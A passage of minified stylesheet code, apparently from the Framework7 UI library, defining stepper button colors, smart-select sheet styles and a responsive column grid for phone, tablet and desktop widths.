.stepper.color-white.stepper-fill .stepper-button-plus,.md .stepper.color-white.stepper-fill-md .stepper-button,.md .stepper.color-white.stepper-fill-md .stepper-button-minus,.md .stepper.color-white.stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill .stepper-button.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .stepper.color-white.stepper-fill .stepper-button-minus:after,.md .stepper.color-white.stepper-fill .stepper-button-minus:before,.md .stepper.color-white.stepper-fill .stepper-button-plus:after,.md .stepper.color-white.stepper-fill .stepper-button-plus:before,.md .stepper.color-white.stepper-fill .stepper-button:after,.md .stepper.color-white.stepper-fill .stepper-button:before,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-white.stepper-fill-md .stepper-button:after,.md .stepper.color-white.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-black .stepper-button,.md .stepper.color-black .stepper-button-minus,.md .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.md .stepper.color-black .stepper-button-minus:after,.md .stepper.color-black .stepper-button-minus:before,.md .stepper.color-black .stepper-button-plus:after,.md .stepper.color-black .stepper-button-plus:before{background:#000}.md .stepper.color-black .stepper-input-wrap,.md .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .stepper.color-black .stepper-value{color:#000}.md .stepper.color-black .stepper-input-wrap input{color:#000}.md .stepper.color-black.stepper-fill .stepper-button,.md .stepper.color-black.stepper-fill .stepper-button-minus,.md .stepper.color-black.stepper-fill .stepper-button-plus,.md .stepper.color-black.stepper-fill-md .stepper-button,.md .stepper.color-black.stepper-fill-md .stepper-button-minus,.md .stepper.color-black.stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill .stepper-button.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button.active-state{background:#000}.md .stepper.color-black.stepper-fill .stepper-button-minus:after,.md .stepper.color-black.stepper-fill .stepper-button-minus:before,.md .stepper.color-black.stepper-fill .stepper-button-plus:after,.md .stepper.color-black.stepper-fill .stepper-button-plus:before,.md .stepper.color-black.stepper-fill .stepper-button:after,.md .stepper.color-black.stepper-fill .stepper-button:before,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-black.stepper-fill-md .stepper-button:after,.md .stepper.color-black.stepper-fill-md .stepper-button:before{background:#fff}.smart-select select{display:none}.smart-select .item-after{max-width:70%;overflow:hidden;text-overflow:ellipsis;position:relative;display:block}.sheet-modal.smart-select-sheet .sheet-modal-inner{background:#fff}.sheet-modal.smart-select-sheet .list{margin:0}.sheet-modal.smart-select-sheet .list ul:before{display:none!important}.sheet-modal.smart-select-sheet .list ul:after{display:none!important}.smart-select-popover .popover-inner{max-height:40vh}.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner{background-color:transparent}.row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.row>.col,.row>[class*=col-]{-webkit-box-sizing:border-box;box-sizing:border-box}.row .col{width:100%}.md .row .col-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col-100{width:100%}.md .row .col-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .col-95{width:95%}.md .row .col-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .col-90{width:90%}.md .row .col-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .col-85{width:85%}.md .row .col-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .col-80{width:80%}.md .row .col-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .col-75{width:75%}.md .row .col-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .col-70{width:70%}.md .row .col-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .col-66{width:66.66666666666666%}.md .row .col-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .col-65{width:65%}.md .row .col-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .col-60{width:60%}.md .row .col-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .col-55{width:55%}.md .row .col-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col-50{width:50%}.md .row .col-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .col-45{width:45%}.md .row .col-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .col-40{width:40%}.md .row .col-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .col-35{width:35%}.md .row .col-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col-33{width:33.333333333333336%}.md .row .col-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .col-30{width:30%}.md .row .col-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col-25{width:25%}.md .row .col-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col-20{width:20%}.md .row .col-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .col-15{width:15%}.md .row .col-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col-10{width:10%}.md .row .col-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col-5{width:5%}.md .row .col:nth-last-child(1),.md .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .col:nth-last-child(1),.md .row.no-gap .col:nth-last-child(1)~.col{width:100%}.md .row .col:nth-last-child(2),.md .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .col:nth-last-child(2),.md .row.no-gap .col:nth-last-child(2)~.col{width:50%}.md .row .col:nth-last-child(3),.md .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .col:nth-last-child(3),.md .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.md .row .col:nth-last-child(4),.md .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .col:nth-last-child(4),.md .row.no-gap .col:nth-last-child(4)~.col{width:25%}.md .row .col:nth-last-child(5),.md .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .col:nth-last-child(5),.md .row.no-gap .col:nth-last-child(5)~.col{width:20%}.md .row .col:nth-last-child(6),.md .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .col:nth-last-child(6),.md .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.md .row .col:nth-last-child(7),.md .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .col:nth-last-child(7),.md .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.md .row .col:nth-last-child(8),.md .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .col:nth-last-child(8),.md .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.md .row .col:nth-last-child(9),.md .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .col:nth-last-child(9),.md .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.md .row .col:nth-last-child(10),.md .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .col:nth-last-child(10),.md .row.no-gap .col:nth-last-child(10)~.col{width:10%}.md .row .col:nth-last-child(11),.md .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .col:nth-last-child(11),.md .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.md .row .col:nth-last-child(12),.md .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .col:nth-last-child(12),.md .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.md .row .col:nth-last-child(13),.md .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .col:nth-last-child(13),.md .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.md .row .col:nth-last-child(14),.md .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .col:nth-last-child(14),.md .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.md .row .col:nth-last-child(15),.md .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .col:nth-last-child(15),.md .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.md .row .col:nth-last-child(16),.md .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .col:nth-last-child(16),.md .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.md .row .col:nth-last-child(17),.md .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .col:nth-last-child(17),.md .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.md .row .col:nth-last-child(18),.md .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .col:nth-last-child(18),.md .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.md .row .col:nth-last-child(19),.md .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .col:nth-last-child(19),.md .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.md .row .col:nth-last-child(20),.md .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .col:nth-last-child(20),.md .row.no-gap .col:nth-last-child(20)~.col{width:5%}.md .row .col:nth-last-child(21),.md .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .col:nth-last-child(21),.md .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.md .row .tablet-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-100{width:100%}.md .row .tablet-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .tablet-95{width:95%}.md .row .tablet-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .tablet-90{width:90%}.md .row .tablet-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .tablet-85{width:85%}.md .row .tablet-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .tablet-80{width:80%}.md .row .tablet-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .tablet-75{width:75%}.md .row .tablet-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .tablet-70{width:70%}.md .row .tablet-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .tablet-66{width:66.66666666666666%}.md .row .tablet-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .tablet-65{width:65%}.md .row .tablet-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .tablet-60{width:60%}.md .row .tablet-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .tablet-55{width:55%}.md .row .tablet-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-50{width:50%}.md .row .tablet-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .tablet-45{width:45%}.md .row .tablet-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .tablet-40{width:40%}.md .row .tablet-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .tablet-35{width:35%}.md .row .tablet-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-33{width:33.333333333333336%}.md .row .tablet-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .tablet-30{width:30%}.md .row .tablet-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-25{width:25%}.md .row .tablet-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-20{width:20%}.md .row .tablet-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .tablet-15{width:15%}.md .row .tablet-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-10{width:10%}.md .row .tablet-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-5{width:5%}.md .row .tablet-auto:nth-last-child(1),.md .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .tablet-auto:nth-last-child(1),.md .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.md .row .tablet-auto:nth-last-child(2),.md .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .tablet-auto:nth-last-child(2),.md .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.md .row .tablet-auto:nth-last-child(3),.md .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .tablet-auto:nth-last-child(3),.md .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.md .row .tablet-auto:nth-last-child(4),.md .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .tablet-auto:nth-last-child(4),.md .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.md .row .tablet-auto:nth-last-child(5),.md .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .tablet-auto:nth-last-child(5),.md .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.md .row .tablet-auto:nth-last-child(6),.md .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .tablet-auto:nth-last-child(6),.md .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.md .row .tablet-auto:nth-last-child(7),.md .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .tablet-auto:nth-last-child(7),.md .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.md .row .tablet-auto:nth-last-child(8),.md .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .tablet-auto:nth-last-child(8),.md .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.md .row .tablet-auto:nth-last-child(9),.md .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .tablet-auto:nth-last-child(9),.md .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.md .row .tablet-auto:nth-last-child(10),.md .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .tablet-auto:nth-last-child(10),.md .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.md .row .tablet-auto:nth-last-child(11),.md .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .tablet-auto:nth-last-child(11),.md .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.md .row .tablet-auto:nth-last-child(12),.md .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .tablet-auto:nth-last-child(12),.md .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.md .row .tablet-auto:nth-last-child(13),.md .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .tablet-auto:nth-last-child(13),.md .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.md .row .tablet-auto:nth-last-child(14),.md .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .tablet-auto:nth-last-child(14),.md .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.md .row .tablet-auto:nth-last-child(15),.md .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .tablet-auto:nth-last-child(15),.md .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.md .row .tablet-auto:nth-last-child(16),.md .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .tablet-auto:nth-last-child(16),.md .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.md .row .tablet-auto:nth-last-child(17),.md .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .tablet-auto:nth-last-child(17),.md .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.md .row .tablet-auto:nth-last-child(18),.md .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .tablet-auto:nth-last-child(18),.md .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.md .row .tablet-auto:nth-last-child(19),.md .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .tablet-auto:nth-last-child(19),.md .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.md .row .tablet-auto:nth-last-child(20),.md .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-auto:nth-last-child(20),.md .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.md .row .tablet-auto:nth-last-child(21),.md .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .tablet-auto:nth-last-child(21),.md .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.md .row .desktop-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-100{width:100%}.md .row .desktop-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .desktop-95{width:95%}.md .row .desktop-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .desktop-90{width:90%}.md .row .desktop-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .desktop-85{width:85%}.md .row .desktop-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .desktop-80{width:80%}.md .row .desktop-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .desktop-75{width:75%}.md .row .desktop-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .desktop-70{width:70%}.md .row .desktop-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .desktop-66{width:66.66666666666666%}.md .row .desktop-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .desktop-65{width:65%}.md .row .desktop-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .desktop-60{width:60%}.md .row .desktop-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .desktop-55{width:55%}.md .row .desktop-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-50{width:50%}.md .row .desktop-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .desktop-45{width:45%}.md .row .desktop-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .desktop-40{width:40%}.md .row .desktop-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .desktop-35{width:35%}.md .row .desktop-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-33{width:33.333333333333336%}.md .row .desktop-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .desktop-30{width:30%}.md .row .desktop-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-25{width:25%}.md .row .desktop-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-20{width:20%}.md .row .desktop-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .desktop-15{width:15%}.md .row .desktop-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-10{width:10%}.md .row .desktop-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-5{width:5%}.md .row .desktop-auto:nth-last-child(1),.md .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-auto:nth-last-child(1),.md .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.md .row .desktop-auto:nth-last-child(2),.md .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-auto:nth-last-child(2),.md .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.md .row .desktop-auto:nth-last-child(3),.md .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-auto:nth-last-child(3),.md .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.md .row .desktop-auto:nth-last-child(4),.md .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-auto:nth-last-child(4),.md .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.md .row .desktop-auto:nth-last-child(5),.md .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-auto:nth-last-child(5),.md .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.md .row .desktop-auto:nth-last-child(6),.md .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .desktop-auto:nth-last-child(6),.md .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.md .row .desktop-auto:nth-last-child(7),.md .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .desktop-auto:nth-last-child(7),.md .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.md .row .desktop-auto:nth-last-child(8),.md .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .desktop-auto:nth-last-child(8),.md .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.md .row .desktop-auto:nth-last-child(9),.md .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .desktop-auto:nth-last-child(9),.md .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.md .row .desktop-auto:nth-last-child(10),.md .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-auto:nth-last-child(10),.md .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.md .row .desktop-auto:nth-last-child(11),.md .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .desktop-auto:nth-last-child(11),.md .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.md .row .desktop-auto:nth-last-child(12),.md .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .desktop-auto:nth-last-child(12),.md .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.md .row .desktop-auto:nth-last-child(13),.md .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .desktop-auto:nth-last-child(13),.md .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.md .row .desktop-auto:nth-last-child(14),.md .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .desktop-auto:nth-last-child(14),.md .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.md .row .desktop-auto:nth-last-child(15),.md .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .desktop-auto:nth-last-child(15),.md .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.md .row .desktop-auto:nth-last-child(16),.md .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .desktop-auto:nth-last-child(16),.md .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.md .row .desktop-auto:nth-last-child(17),.md .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .desktop-auto:nth-last-child(17),.md .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.md .row .desktop-auto:nth-last-child(18),.md .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .desktop-auto:nth-last-child(18),.md .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.md .row .desktop-auto:nth-last-child(19),.md .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .desktop-auto:nth-last-child(19),.md .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.md .row .desktop-auto:nth-last-child(20),.md .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-auto:nth-last-child(20),.md .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.md .row .desktop-auto:nth-last-child(21),.md .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 